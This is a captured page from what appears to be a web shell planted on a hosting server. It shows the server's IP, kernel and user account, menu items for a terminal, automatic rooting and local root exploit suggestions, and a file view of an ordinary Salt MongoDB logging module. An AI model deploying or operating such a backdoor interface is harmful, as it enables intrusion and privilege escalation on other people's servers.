Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python3.6 /
site-packages /
salt /
log /
handlers /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2022-10-11 05:09
__init__.py
631
B
-rw-r--r--
2022-05-16 09:16
fluent_mod.py
16.86
KB
-rw-r--r--
2022-05-16 09:16
log4mongo_mod.py
2.23
KB
-rw-r--r--
2022-05-16 09:16
logstash_mod.py
13.88
KB
-rw-r--r--
2022-05-16 09:16
sentry_mod.py
8.13
KB
-rw-r--r--
2022-05-16 09:16
Save
Rename
""" Log4Mongo Logging Handler ========================= This module provides a logging handler for sending salt logs to MongoDB Configuration ------------- In the salt configuration file (e.g. /etc/salt/{master,minion}): .. code-block:: yaml log4mongo_handler: host: mongodb_host port: 27017 database_name: logs collection: salt_logs username: logging password: reindeerflotilla write_concern: 0 log_level: warning Log Level ......... If not set, the log_level will be set to the level defined in the global configuration file setting. .. admonition:: Inspiration This work was inspired by the Salt logging handlers for LogStash and Sentry and by the log4mongo Python implementation. """ import logging import socket from salt.log.mixins import NewStyleClassMixIn from salt.log.setup import LOG_LEVELS try: from log4mongo.handlers import MongoHandler, MongoFormatter HAS_MONGO = True except ImportError: HAS_MONGO = False __virtualname__ = "mongo" def __virtual__(): if not HAS_MONGO: return False return __virtualname__ class FormatterWithHost(logging.Formatter, NewStyleClassMixIn): def format(self, record): mongoformatter = MongoFormatter() document = mongoformatter.format(record) document["hostname"] = socket.gethostname() return document def setup_handlers(): handler_id = "log4mongo_handler" if handler_id in __opts__: config_fields = { "host": "host", "port": "port", "database_name": "database_name", "collection": "collection", "username": "username", "password": "password", "write_concern": "w", } config_opts = {} for config_opt, arg_name in config_fields.items(): config_opts[arg_name] = __opts__[handler_id].get(config_opt) config_opts["level"] = LOG_LEVELS[ __opts__[handler_id].get("log_level", __opts__.get("log_level", "error")) ] handler = MongoHandler(formatter=FormatterWithHost(), **config_opts) yield handler else: yield False